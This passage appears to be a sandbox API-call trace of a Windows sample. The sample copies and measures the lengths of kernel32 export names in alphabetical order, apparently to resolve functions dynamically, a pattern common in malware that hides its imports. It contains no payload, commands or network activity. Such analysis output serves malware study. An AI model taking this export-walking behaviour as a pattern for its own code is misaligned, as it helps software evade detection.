(lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0118.143] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0118.143] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0118.143] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0118.143] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0118.143] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0118.144] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0118.144] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0118.144] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0118.144] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0118.144] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0118.144] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0118.144] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0118.144] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0118.144] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0118.144] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0118.144] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0118.144] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0118.144] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0118.144] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0118.144] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0118.144] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0118.144] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0118.144] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0118.144] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0118.144] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0118.145] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0118.145] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0118.145] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0118.145] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0118.145] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0118.145] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0118.145] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0118.145] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0118.145] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0118.145] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0118.145] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0118.145] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0118.145] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0118.145] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0118.145] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0118.145] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0118.145] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0118.145] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0118.145] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0118.145] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0118.145] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0118.146] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0118.146] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0118.146] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0118.146] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0118.146] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0118.146] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0118.146] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0118.146] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0118.146] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0118.146] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0118.146] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0118.146] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0118.146] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0118.146] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0118.146] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0118.146] lstrlenA (lpString="BEEP") returned 4 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0118.146] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0118.146] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0118.146] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0118.146] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0118.146] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0118.146] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0118.147] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0118.147] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0118.147] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0118.147] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0118.147] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0118.147] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0118.147] lstrlenA (lpString="CANCELIO") returned 8 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0118.147] lstrlenA (lpString="CANCELIOEX") returned 10 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0118.147] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0118.147] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0118.147] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0118.147] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0118.147] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0118.147] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0118.147] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0118.147] lstrlenA (lpString="CHECKELEVATION") returned 14 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0118.147] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0118.147] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0118.147] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0118.147] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0118.147] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0118.147] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0118.148] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0118.148] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0118.148] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0118.148] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0118.148] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0118.148] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0118.148] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0118.148] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0118.148] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0118.148] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0118.148] lstrlenA (lpString="CLOSESTATE") returned 10 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0118.148] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0118.148] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0118.148] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0118.148] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0118.148] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0118.148] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0118.148] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0118.148] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0118.148] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0118.148] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0118.149] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0118.149] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0118.149] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0118.149] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0118.149] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0118.149] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0118.149] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0118.149] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0118.149] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0118.149] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0118.149] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0118.149] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0118.149] 